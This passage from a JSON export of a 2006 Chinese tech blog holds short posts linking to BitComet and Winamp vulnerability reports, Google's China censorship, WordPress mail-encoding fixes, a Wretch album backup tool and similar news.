    "body": "剛剛在 <a href=\"http://packetstormsecurity.org/\" rel=\"tag\">packet storm</a> 看到的：<a href=\"http://packetstormsecurity.org/filedesc/BitCometURI.c.html\">BitCometURI.c</a>，攻擊者可以製造一個特殊的 .torrent 然後散佈出去，當 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 開啟檔案的時候會 crash，而且會執行 .torrent 檔裡面所帶有的 evil code：\r\n<blockquote>A vulnerability in BitComet allows remote attackers to construct a special .torrent file and put it on any BitTorrent publishing web site. When a user downloads the .torrent file and clicks on publishers name, BitComet will crash. An attacker can run arbitrary code on victims' host by specially crafted .torrent file.</blockquote>\r\n看起來 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 不久後就得出 0.62 了 :p",
    "title": "BitComet 安全漏洞"
  },
  {
    "id": "329",
    "body": "有人發現 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 又繼續幹了一些事情：\r\n<ul>\r\n\t<li><a href=\"http://blog.outer-court.com/archive/2006-01-27-n42.html\">Google Images Censors Too in China</a> 這篇文章說明了 <a href=\"http://images.google.com/\" rel=\"tag\">Google Images</a> 也被過濾，這是英文版搜尋「天安門」的圖片：<br /><br /><a href=\"http://www.flickr.com/photos/gslin/91868412/\"><img src=\"http://static.flickr.com/41/91868412_5e0b43a191.jpg?v=0\" alt=\"\" /></a><br />而這是簡體中文版：<br /><a href=\"http://www.flickr.com/photos/gslin/91868406/\"><img src=\"http://static.flickr.com/31/91868406_d4e956f48c.jpg?v=0\" alt=\"\" /></a></li>\r\n\t<li><a href=\"http://blog.outer-court.com/archive/2006-01-27-n30.html\">Google Removes Its Help Entry on Censorship, More News</a> 則說明了 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 拿掉了本來在 <a href=\"http://www.google.com/support/\" rel=\"tag\">Google Support</a> 上的過濾政策：<blockquote>Google does not censor results for any search term. The order and content of our results are completely automated; we do not manipulate our search results by hand. We believe strongly in allowing the democracy of the web to determine the inclusion and ranking of sites in our search results. To learn more about Google’s search technology, please visit ...</blockquote>不過，如果用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> Cache 找原來網頁，還是可以找到這段文字：<a href=\"http://www.flickr.com/photos/gslin/91868648/\"><img src=\"http://static.flickr.com/43/91868648_7de1bd1c51.jpg?v=0\" alt=\"\" /></a></li>\r\n</ul>\r\n<strong>Update</strong>：<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 在他們的 <a href=\"http://googleblog.blogspot.com/\" rel=\"tag\">Official Google Blog</a> 上發表了「公關稿」：<a href=\"http://googleblog.blogspot.com/2006/01/google-in-china.html\">Google in China</a>。",
    "title": "Google.cn"
  },
  {
    "id": "330",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的新聞，<a href=\"http://apple.slashdot.org/article.pl?sid=06/01/26/2038249\">MacWorld's iMac Core Duo Benchmarks Debunked?</a>。\r\n\r\n<a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 宣稱使用 Intel CPU 的效率大約是 G5 的兩倍到四倍，但 <a href=\"http://www.macworld.com/\" rel=\"tag\">MacWorld</a> 雜誌則說，並沒有 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 所說的那麼快：<a href=\"http://www.macworld.com/2006/01/features/imaclabtest1/index.php\">First Lab Tests: iMac with Intel Core Duo processor</a>。\r\n\r\n而在 <a href=\"http://www.macspeedzone.com/\" rel=\"tag\">MacSpeedZone</a> 測試的結果也說明其實兩者的速度差不多：<a href=\"http://www.macspeedzone.com/html/hardware/machine/performance_in_the_raw/06/1_23.shtml\">Mac Performance In The Raw - Wow! The Intel iMac Is Almost As Fast As The Quad Core Power Mac - How Macworld Pulled A \"Not So Fast\" One ...</a>。\r\n\r\n表格裡面都可以看出來在某些項目 G5 甚至比較快，所以我們應該懷疑 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 從 PPC 換到 x86 是否如同 <a href=\"http://www.apple.com/pr/bios/jobs.html\" rel=\"tag\">Steve Jobs</a> 所說的，是因為 Power Consumption (Performance per watt)？或者是為了未來的十年的秘密計畫做打算？",
    "title": "iMac Core Duo 的效率"
  },
  {
    "id": "331",
    "body": "<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 跟 <a href=\"http://www.sun.com/\" rel=\"tag\">Sun</a> 合作搞 Anti-Spyware：<a href=\"http://it.slashdot.org/article.pl?sid=06/01/26/2310204\">Google's Anti-Spyware Project</a>。(<a href=\"http://www.sun.com/\" rel=\"tag\">Sun</a> 大概很無奈，鎂光燈的焦點都在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 身上...)\r\n\r\n不過這則新聞很明顯地不會被討論太久，因為 Google China 的事情太大了...",
    "title": "Google Anti-Spyware"
  },
  {
    "id": "332",
    "body": "在 <a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 那邊看到 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 2.0 佈景主題競賽：<a href=\"http://photomatt.net/2006/01/30/new-theme-competition/\">New Theme Competition</a>。\r\n\r\n所以過一兩個月後又有一堆 Theme 可以挑囉 :p",
    "title": "WordPress 2.0 佈景主題競賽"
  },
  {
    "id": "333",
    "body": "在 <a href=\"http://www.frsirt.com/\" rel=\"tag\">FrSIRT</a> 看到 0day security issue：<a href=\"http://www.frsirt.com/exploits/20060129.winamp0day.c.php\">Nullsoft Winamp Player &lt;= 5.12 PLS File Handling Remote Buffer Overflow Exploit</a>：\r\n<blockquote><code>/*\r\n*\r\n* Tested with :\r\n* Winamp 5.12 on Win XP Pro Sp2\r\n*\r\n*/</code></blockquote>\r\n我對 <a href=\"http://www.winamp.com/\" rel=\"tag\">Winamp</a> 的感覺普普通通... 我自己是用 <a href=\"http://www.foobar2000.org/\" rel=\"tag\">foobar2000</a>，加上 foo_pod 管理我的 iPod Shuffle。(foo_pod 似乎沒有官方網站，請直接到 <a href=\"http://www.hydrogenaudio.org/forums/index.php?showtopic=19156\">www.hydrogenaudio.org/forums/index.php?showtopic=19156</a> 下載吧)",
    "title": "Winamp Security Issue"
  },
  {
    "id": "334",
    "body": "<a href=\"http://bitconjurer.org/\" rel=\"tag\">Bram Cohen</a> (<a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 的作者) 在他的 Blog 上對某些 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> Client 為了避開 ISP 過濾所做的行為 (像是 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 的 Encryption Header，或是 <a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 計畫的東西) 提出看法：<a href=\"http://bramcohen.livejournal.com/29886.html\">Obfuscating BitTorrent</a>。\r\n\r\n<a href=\"http://bitconjurer.org/\" rel=\"tag\">Bram Cohen</a> 提到了如果你用 Encryption 可能會造成的優缺點：你可能因為 Encryption 避開了 ISP 的限流，也有可能因為 Encryption 避開了 ISP 的 P2P Cache。(在台灣幾乎都是限流的設備，不過這是另外一回事了)\r\n\r\n回到原來主題，<a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 的作法是直接修改 Protocol (Backward-compatible)，很明顯的，<a href=\"http://bitconjurer.org/\" rel=\"tag\">Bram Cohen</a> 在文章裡並不贊成這種作法。他提出了另外一個方法解決這個問題：Tracker Extension。\r\n\r\n這個作法是向 Tracker 註冊時告訴 Tracker「我有 Encryption 的能力」，當 Tracker 傳 Peer list 回來的時候也順便告訴我有哪些 Peer 也支援這樣的功能。這樣的話不支援的 Client 也可以順利的繼續跑，而支援的 Client 之間就可以加密傳輸了。\r\n\r\n至於後面講到 Diffie-Hellman Key Exchange，呃... 用 infohash 就好了啊...",
    "title": "Bittorrent Encryption"
  },
  {
    "id": "335",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的新聞：<a href=\"http://digg.com/links/Wikipedia_blocks_United_States_Congress_IP_addresses\">Wikipedia blocks United States Congress IP addresses</a>。同時在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上也報導出來了：<a href=\"http://yro.slashdot.org/article.pl?sid=06/01/30/2123219\">Wikipedia vs Congressional Staffers [Update]</a>。\r\n\r\n由於有大量從美國國會的 IP address 連上 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 修改許多政客的自傳，違反 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的規則 (被列出來的部分包括了 <a href=\"http://en.wikipedia.org/wiki/WP:NPOV\" rel=\"tag\">NPOV</a>：中立立場、<a href=\"http://en.wikipedia.org/wiki/WP:CIV\" rel=\"tag\">CIV</a>：文明的行為、<a href=\"http://en.wikipedia.org/wiki/Wikipedia:Verifiability\" rel=\"tag\">Verifiability</a>：可證實正確性)，所以 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 決定暫時禁止美國國會的 IP Range 一個星期，並提出 RFC (Request for comments) 做進一步處理，目前被封鎖的網段包括了：\r\n<ul>\r\n\t<li>143.228.0.0/16：Information Systems, U.S. House of Representatives</li>\r\n\t<li>143.231.0.0/16：Information Systems, U.S. House of Representatives</li>\r\n\t<li>156.33.0.0./16：U.S. Senate Sergeant at Arms</li>\r\n</ul>\r\n後面的資訊是我用 whois 找的。被封鎖網段可能還會繼續增加。\r\n\r\n你可以在 <a href=\"http://en.wikipedia.org/wiki/Wikipedia:Requests_for_comment/United_States_Congress\">Wikipedia:Requests for comment/United States Congress</a> 這頁看到 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的編輯對於這些政客態度的敘述。",
    "title": "Wikipedia 暫時禁止從美國國會網段修改文章"
  },
  {
    "id": "336",
    "body": "無名小站的圖檔是不能「外連」的，換個說法 (技術上)，無名小站的圖檔擋 Referer。所以你不能用 <code>&lt;img src=\"http://picN.pic.wretch.cc/...\" /&gt;</code> 直接連。\r\n\r\n這造成了一些問題：像是在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上訂閱無名的 Blog 時，會看不到圖片的部分... (因為此時 Referer 會是 <code>http://www.bloglines.com/myblogs</code>)\r\n\r\n不過這幾天在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上突然能看到 <a href=\"http://www.wretch.cc/blog/cwwany\" rel=\"tag\">彎彎</a> 的圖片，本來以為是 Proxy Cache 的關係，後來想到我用 <a href=\"http://webaccelerator.google.com/\" rel=\"tag\">Google Web Accelerator</a>，好像不會有其他人看...\r\n\r\n仔細去看 <a href=\"http://www.wretch.cc/blog/cwwany\" rel=\"tag\">彎彎</a> Blog 上圖片的 URL，前面的 <code>http://</code> 我就省掉了，其他的也是一樣：(VIP account)\r\n<blockquote><code>pic.wretch.cc/photos/1/c/cwwany/6/1138685665.jpg</code></blockquote>\r\n而我自己的則是：\r\n<blockquote><code>pic2.pic.wretch.cc/photos/15/d/darkkiller/3/1076000480.jpg</code></blockquote>\r\n用 wget -Y off (-Y off == 不透過 Proxy) 測試這兩個 URL，發現前面的可以，後面的不行。於是我就把我的圖片 URL 改成下面的樣子再抓：\r\n<blockquote><code>pic.wretch.cc/photos/15/d/darkkiller/3/1076000480.jpg</code></blockquote>\r\n就可以了 :p 下面就是這張圖囉，如果看不的到的話表示 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a> 又改掉了 XD\r\n\r\n<img src=\"http://pic.wretch.cc/photos/15/d/darkkiller/3/1076000480.jpg\" alt=\"\" />",
    "title": "無名小站的圖片 (外連、擋 Referer、...)"
  },
  {
    "id": "337",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到有人寫了一個 <a href=\"http://greasemonkey.mozdev.org/\" rel=\"tag\">Greasemonkey</a> Script，把 Google Logo 換成 Evil Google：<a href=\"http://www.boingboing.net/2006/01/30/script_to_replace_go.html\">Script to replace Google logo with Evil Google logo</a>。\r\n\r\n不過我裝了以後連上 <a href=\"http://www.google.com/\" rel=\"tag\">www.google.com</a> (不是 <a href=\"http://www.google.com.tw/\" rel=\"tag\">www.google.com.tw</a>)，並沒有把 Logo 換掉：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/93580526/\"><img src=\"http://static.flickr.com/14/93580526_991a07ad2a.jpg?v=0\" alt=\"\" /></a>\r\n\r\n不過，如果把語系改成英文版：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/93580198/\"><img src=\"http://static.flickr.com/14/93580198_58a4c9d1bf.jpg?v=0\" alt=\"\" /></a>\r\n\r\n在修改的頁面也看的到：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/93581346/\"><img src=\"http://static.flickr.com/15/93581346_09b9b7f4fb.jpg?v=0\" alt=\"\" /></a>\r\n\r\n裝起來放著好了 :p\r\n\r\n<strong>Update</strong>：作者已經改版了，現在都能夠正常運作了 XD",
    "title": "Evil Google Logo"
  },
  {
    "id": "338",
    "body": "<a href=\"http://www.theregister.co.uk/\" rel=\"tag\">The Register</a> 向 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 詢問，證實了 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 目前的計畫：將 <a href=\"http://www.ubuntu.com/\" rel=\"tag\">Ubuntu</a> 整合到桌面環境 - 即 Goobuntu。\r\n<ul>\r\n\t<li><a href=\"http://digg.com/software/Google_readying_its_own_Google_OS_\">Google readying its own Google OS!!</a> (<a href=\"http://digg.com/\" rel=\"tag\">Digg</a>)</li>\r\n\t<li><a href=\"http://slashdot.org/article.pl?sid=06/01/31/1519224\">Google Working on Desktop Linux</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>)</li>\r\n</ul>",
    "title": "Google OS - Goobuntu"
  },
  {
    "id": "339",
    "body": "收到 WordPress-SVN Mailing List 的信，在 <a href=\"http://trac.wordpress.org/\" rel=\"tag\">WordPress Trac</a> 上可以看到 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 2.0.1 的版號已經先打進去了：<a href=\"http://trac.wordpress.org/changeset/3502\">Changeset 3502</a>。\r\n\r\n這幾天應該就可以看到 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 2.0.1 更新的消息了。\r\n\r\n<strong>Update</strong>：<a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 已經在 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress.org</a> 官方網站上公佈：<a href=\"http://wordpress.org/development/2006/01/201-release/\">2.0.1 Release</a>。",
    "title": "WordPress 2.0.1"
  },
  {
    "id": "340",
    "body": "因為 WordPress 的 wp_mail() 沒轉，<a href=\"http://php.nctu.edu.tw/\" rel=\"tag\">PHP</a> 的 <code>mail()</code> 也沒轉 ，底層的 <a href=\"http://www.sendmail.org/\" rel=\"tag\">sendmail</a> 因為不知道編碼是什麼，當然也不能亂轉，於是就... XD\r\n\r\n用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找了一下，在 <a href=\"http://www.douzi.org/wp/index.php/articles/98\">解决WP邮件通知在gmail中的标题乱码</a> 這篇給了幾個方法，其中不需要額外的 library 大概就是在 <code>pluggable-functions.php</code> 內的 <code>wp_mail()</code> 最後面 <code>return</code> 的地方改成：\r\n<blockquote><code>return @mail($to, \"=?UTF-8?B?\" . base64_encode($subject) . \"?=\", $message, $headers);</code></blockquote>\r\n我把他改成：\r\n<blockquote><code>return @mail($to, \"=?\" . get_settings('blog_charset') . \"?B?\" . base64_encode($subject) . \"?=\", $message, $headers);</code></blockquote>\r\n這樣就 okay 了 :p\r\n\r\nPS：其實我不確定能不能 work XD 我是打算 post 一篇，然後測試一下看看標題正不正確 XD\r\n\r\n<strong>Update</strong>：目前看起來跑得很好：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/94115946/\"><img src=\"http://static.flickr.com/33/94115946_6354cd5ad6.jpg?v=0\" alt=\"\" /></a>\r\n\r\nUpdate：我另外修改了 <code>From:</code> 的部分，這個部分也需要正確的 encoding，同樣一個檔案裡面，把：\r\n<blockquote><code>$from = \"From: \\\"$blogname\\\" &lt;$wp_email&gt;\";</code></blockquote>\r\n改成：\r\n<blockquote><code>$from = \"From: =?\" . get_settings('blog_charset') . \"?B?\" . base64_encode(\"\\\"$blogname\\\"\") . \"?= &lt;$wp_email&gt;\";</code></blockquote>\r\n另外把：\r\n<blockquote><code>$from = \"From: \\\"$comment-&gt;comment_author\\\" &lt;$wp_email&gt;\";</code></blockquote>\r\n改成：\r\n<blockquote><code>$from = \"From: =?\" . get_settings('blog_charset') . \"?B?\" . base64_encode(\"\\\"$comment-&gt;comment_author\\\"\") . \"?= &lt;$wp_email&gt;\";</code></blockquote>\r\n一樣，先測一陣子看看，沒問題就到 <a href=\"http://trac.wordpress.org/\" rel=\"tag\">WordPress Trac</a> 上送 ticket 請他們 patch。",
    "title": "WordPress 通知郵件標題的亂碼"
  },
  {
    "id": "341",
    "body": "還記得 <a href=\"http://artlebedev.com/portfolio/optimus/\" rel=\"tag\">Optimus keyboard</a> 嗎？鍵盤上的標示可以跟著應用程式一起改變。(如果應用程式有支援，或是你自己改...)\r\n\r\n<a href=\"http://www.flickr.com/photos/shaolintiger/83682297/\"><img src=\"http://static.flickr.com/36/83682297_8ad6527c88.jpg?v=0\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/shaolintiger/83682299/\"><img src=\"http://static.flickr.com/39/83682299_c2bba5a56f.jpg?v=0\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/shaolintiger/83682300/\"><img src=\"http://static.flickr.com/43/83682300_7daa8507ed.jpg?v=0\" alt=\"\" /></a>\r\n\r\n結果上面的那隻還沒推出，先推出了三鍵版的 <a href=\"http://artlebedev.com/portfolio/optimus-mini/\" rel=\"tag\">Optimus mini three keyboard</a>，四月前的預購價是 USD$100 @_@|||\r\n\r\n<a href=\"http://www.flickr.com/photos/wowstanley/93814085/\"><img src=\"http://static.flickr.com/13/93814085_a4a57b9876.jpg?v=0\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/wowstanley/93813967/\"><img src=\"http://static.flickr.com/21/93813967_493ca59989.jpg?v=0\" alt=\"\" /></a>\r\n\r\n上百個鍵的不知道要多少 :p",
    "title": "鍵盤"
  },
  {
    "id": "342",
    "body": "<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 1.5.0.1 釋出：<a href=\"http://www.mozilla.com/firefox/releases/1.5.0.1.html\">Mozilla Firefox 1.5.0.1 Release Notes</a>，列出的項目有：\r\n<ul>\r\n\t<li>Improved stability.</li>\r\n\t<li>Improved support for Mac OS X.</li>\r\n\t<li>International Domain Name support for Iceland (.is) is now enabled.</li>\r\n\t<li>Fixes for several memory leaks. (終於解決了)</li>\r\n\t<li>Several security enhancements.</li>\r\n</ul>",
    "title": "Firefox 1.5.0.1"
  },
  {
    "id": "343",
    "body": "<a href=\"http://www.microsoft.com/windows/ie/ie7/\" rel=\"tag\">IE 7</a> Beta 2 才剛出來，有人看了十五分鐘就已經發現問題了：<a href=\"http://news.com.com/2100-1002_3-6034054.html\">IE 7 bugs abound</a>。\r\n\r\nSecurity Advisory 在這裡：<a href=\"http://www.security-protocols.com/advisory/sp-x23-advisory.txt\">Internet Explorer 7.0 Beta 2 urlmon.dll DoS</a> (from <a href=\"http://security-protocols.com/modules.php?name=News&file=article&sid=3169\">Internet Explorer 7.0 Beta 2 urlmon.dll DoS</a>)，寫得很... :p\r\n<blockquote>Workaround:\r\nMozilla Firefox</blockquote>",
    "title": "IE 7 Beta 的問題"
  },
  {
    "id": "344",
    "body": "無名小站相簿備份服務：<a href=\"http://backup.hasname.com/album/wretch/\" rel=\"tag\">無名小站 Album 備份服務</a>。\r\n\r\n早上整個重寫，把之前那個版本的一些 bug 都解決了：\r\n<ul>\r\n\t<li>修正了 VIP 相簿無法下載的問題。(因為 VIP 用的是 <code>http://pic.wretch.cc/</code>，而一般使用者用的是 <code>http://picN.pic.wretch.cc/</code>)</li>\r\n\t<li>修正了第一面超過 20 本相簿時，不會去抓後面的相簿。</li>\r\n\t<li>修正了原圖寬度超過 800px 的圖片 (會產生兩份縮圖) 只會抓到 800px 那份。</li>\r\n</ul>\r\n另外這個版本是直接在 server 上抓好、用 rar 壓縮後，丟給使用者直接下載，不用像以前那樣還要抓 wget.exe 了。\r\n\r\n不過要注意的是，這個版本只是「會動」的版本，速度其實有點慢... 不過我想應該也還好啦，如果備份的相簿中張數最多的那個 album 有五百張 (不是全部加起來五百張)，抓一次大約要十五分鐘 o_o\r\n\r\n下午會改寫成另外一種方式，理論上會比較快...\r\n\r\n當然，依照往例，所有的程式碼都可以在 <a href=\"https://opensvn.csie.org/\" rel=\"tag\">OpenSVN</a> 上取得：<a href=\"https://opensvn.csie.org/traccgi/backup/trac.cgi/\" rel=\"tag\">Backup Project</a>，如果您有興趣的話，可以到無名的 P_hasname 板抱怨...。\r\n\r\n<strong>Update</strong>：剛剛已經改寫成另外一種方式了，不過好像沒快多少 :o 加減用吧 :p\r\n\r\n<strong>Update</strong>：換 Zip，然後增加 <code>fork()</code> 的數量，看看會不會比較快 :o\r\n\r\n<strong>Update</strong>：剛剛在 <a href=\"http://www.cpan.org/\" rel=\"tag\">CPAN</a> 裡面挖到 <a href=\"http://search.cpan.org/dist/ParallelUserAgent/\" rel=\"tag\">ParallelUserAgent</a>，晚點來試看看好不好用 (效率...)，再來決定要不要換上去。\r\n\r\n<strong>Update</strong>：換網址，換到 <code>http://backup.hasname.com/</code>，準備跟 <a href=\"http://www.dreamhost.com/rewards.cgi?hasname\" rel=\"tag\">DreamHost</a> 申請 Disable <a href=\"http://www.schroepl.net/projekte/mod_gzip/\" rel=\"tag\">mod_gzip</a> 的功能。\r\n\r\n<strong>Update</strong>：昨天不小心改爛了 (有些 code 是寫死路徑的，從 <code>hasname.com</code> 換 <code>backup.hasname.com</code> 的時候忘了一起換)，剛剛把這些問題修正了。",
    "title": "無名小站相簿備份服務"
  },
  {
    "id": "345",
    "body": "<a href=\"http://www.google.cn/\" rel=\"tag\">Google.cn</a> 被中國政府擋掉了，從上海以及北京都連不到。看來中國政府對於 <a href=\"http://www.google.cn/\" rel=\"tag\">Google.cn</a> 還是不太滿意 XD：<a href=\"http://www.forbes.com/technology/feeds/afx/2006/02/03/afx2498050.html\">Google's China portal inaccessible in Shanghai, Beijing</a>。\r\n\r\n說到 Search Engine，我發現 <a href=\"http://www.baidu.com/\" rel=\"tag\">Baidu</a> 真是個神經病，抓得這麼頻繁幹什麼，居然佔我 1/3 的 bandwidth...",
    "title": "Google.cn"
  },
  {
    "id": "346",
    "body": "<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 報導了 Firefox 1.5.0.1 修正的這兩個 Memory Leak 問題的詳細內容，另外也討論了其他的 Memory Leak 的問題：<a href=\"http://digg.com/software/Firefox_Memory_Leak_Progress\">Firefox Memory Leak Progress</a>。\r\n<ul>\r\n\t<li><a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=316775\" rel=\"tag\">316775</a> - Leak when selecting.</li>\r\n\t<li><a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=317478\" rel=\"tag\">317478</a> - Leaks due to global scope polluter being removed from not enough (?) prototype chains.</li>\r\n</ul>\r\n文章中提到了 Leak-Gauge 可以讓進階 (但還不夠進階直接拿 Debugger 殺蟲) 的使用者觀察 Memory-Leak 的情況，目前已經有 19 個人利用 Leak-Gauge 回報了 30 個 Memory Leak Bug... 作者在 comment 裡面似乎很希望 1.5.0.2 能夠把 Leak-Gauge 包進去？\r\n\r\n也許該換 trunk 測試看看了...\r\n\r\n<strong>Update</strong>：trunk 並不穩定，我早上換掉以後已經爛掉兩次了...",
    "title": "Firefox 1.5 的兩個 Memory Leak 問題"
  },
  {
    "id": "347",
    "body": "<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上面突然冒出一堆跟 <a href=\"http://maps.google.com/\" rel=\"tag\">Google Maps</a> 有關的新聞。\r\n\r\n像是被遮住的部分：<a href=\"http://digg.com/technology/What_is_Google_Maps_hiding_in_this_image_\">What is Google Maps hiding in this image?</a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/95681448/\"><img src=\"http://static.flickr.com/40/95681448_5f2ff0a403.jpg?v=0\" alt=\"\" /></a>\r\n\r\n血湖：<a href=\"http://digg.com/technology/Bloody_Water_in_Iraq_\">Bloody Water in Iraq?</a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/95681449/\"><img src=\"http://static.flickr.com/43/95681449_d3361b4d00.jpg?v=0\" alt=\"\" /></a>\r\n\r\n五十一區：<a href=\"http://digg.com/technology/Area_51_s_Looking_Good\">Area 51's Looking Good</a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/95681447/\"><img src=\"http://static.flickr.com/21/95681447_108f126a0b.jpg?v=0\" alt=\"\" /></a>",
    "title": "Google Maps"
  },
  {
    "id": "348",
    "body": "試用了一下在 <a href=\"http://flickr.tw/\" rel=\"tag\">Blog of Flickr Hacks</a> 那邊看到的 <a href=\"http://flickr.tw/2006/02/flash_earth.html\">Flash Earth</a>，如果只是要拉圖拉來拉去，流暢度不輸 <a href=\"http://earth.google.com/\" rel=\"tag\">Google Earth</a>...\r\n\r\n不需要額外安裝，還可以切換到 <a href=\"http://local.live.com/\" rel=\"tag\">MSN Virtual Earth</a> 的衛星資料，那似乎不需要裝 <a href=\"http://earth.google.com/\" rel=\"tag\">Google Earth</a> 了... (因為我用不到裡面的功能)",
    "title": "Flash Earth"
  },
  {
    "id": "349",
    "body": "<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上面報導了 <a href=\"http://azureus.sourceforge.net/\" rel=\"tag\">Azureus</a> 與 <a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 目前在做的 <a href=\"http://azureus.aelitis.com/wiki/index.php/Message_Stream_Encryption\">Message Stream Encryption</a>：<a href=\"http://digg.com/technology/_Encrypting_Bittorrent_to_take_out_traffic_shapers\">Encrypting Bittorrent to take out traffic shapers</a>。",
    "title": "Encrypted Bittorrent"
  },
  {
    "id": "350",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到今年 <a href=\"http://www.mastercard.com/\" rel=\"tag\">MasterCard</a> 找 <a href=\"http://en.wikipedia.org/wiki/MacGyver\" rel=\"tag\">MacGyver</a> 拍超級盃的廣告：<a href=\"http://digg.com/movies/MacGyver_is_BACK_\">MacGyver is BACK!!!</a>。\r\n\r\n呃... 不過 <a href=\"http://en.wikipedia.org/wiki/Richard_Dean_Anderson\" rel=\"tag\">Richard Dean Anderson</a> 看起來又胖了不少，臉看起來多了不少肉 :p\r\n\r\nPS：影片下載的速度有點慢，似乎是因為 Digg Effect 的關係... 在 comment 的地方有人直接把 .flv 的 url 丟出來讓大家下載 :p\r\n\r\nPS：果然，comment 的地方又看到 <a href=\"http://www.specialfarm.net/macgyver2008.html\" rel=\"tag\">Macgyver 2008</a> 了 XD",
    "title": "MasterCard 在超級盃的廣告：MacGyver"
  },
  {
    "id": "351",
    "body": "<h3><a href=\"http://backup.hasname.com/album/wretch/\" rel=\"tag\">無名小站 Album 備份服務</a></h3>\r\n\r\n這幾天不斷的在練習 <a href=\"http://search.cpan.org/dist/WWW-Mechanize/\" rel=\"tag\">WWW::Mechanize</a> 與 <a href=\"http://search.cpan.org/dist/LWP-Parallel-UserAgent/\" rel=\"tag\">LWP::Parallel::UserAgent</a>，終於把一個速度可以接受的版本寫出來了，只要 <a href=\"http://www.dreamhost.com/rewards.cgi?hasname\" rel=\"tag\">DreamHost</a> 把 <a href=\"http://www.schroepl.net/projekte/mod_gzip/\" rel=\"tag\">mod_gzip</a> 關掉以後，就可以看到下載的過程了，到時候再去其他地方宣傳...\r\n\r\n以我的相簿為例，目前的程式 (<code>wretchalbum-zip.pl</code>) 是先去抓這個使用者有哪些相簿，抓完了以後再到每一本相簿的第一張相簿點 \"自動播放\" 的部分，取得 Javascript 裡面的資訊 (thanks l5n)，把這本相簿裡面所有的圖片位置存下來。\r\n\r\n最後，用 <a href=\"http://search.cpan.org/dist/LWP-Parallel-UserAgent/\" rel=\"tag\">LWP::Parallel::UserAgent</a> 一次抓所有的圖片，放到正確的目錄下，最後再用 <code>zip</code> 包起來 (不壓縮) 提供使用者下載。",
    "title": "無名小站的相簿備份服務"
  },
  {
    "id": "352",
    "body": "<a href=\"http://www.russellbeattie.com/\" rel=\"tag\">Russell Beattie</a> 收到 SMS.ac 的信，要求他 <a href=\"http://en.wikipedia.org/wiki/Cease_and_desist\" rel=\"tag\">Cease &amp; Desist</a>：<a href=\"http://www.russellbeattie.com/notebook/1008792.html\">I got a C&amp;D from SMS.ac</a>。\r\n\r\n搜尋 SMS.ac 你可以看到 <a href=\"http://www.russellbeattie.com/\" rel=\"tag\">Russell Beattie</a> 的文章在蠻前面的，大概就是這樣被捅的吧 :p 一年前 <a href=\"http://joi.ito.com/\" rel=\"tag\">Joi Ito</a> 也被捅過：<a href=\"http://joi.ito.com/archives/2005/02/22/letter_from_kevin_b_jones_of_smsac.html\">Letter from Kevin B. Jones of sms.ac</a>。\r\n\r\n不過 SMS.ac 本來就很糟了，國內其實也有報導過：<a href=\"http://www.richyli.com/report/2004_11_17_SMSAC.htm\" rel=\"tag\">SMS.AC免費送簡訊，有詐！</a>。",
    "title": "SMS.ac"
  },
  {
    "id": "353",
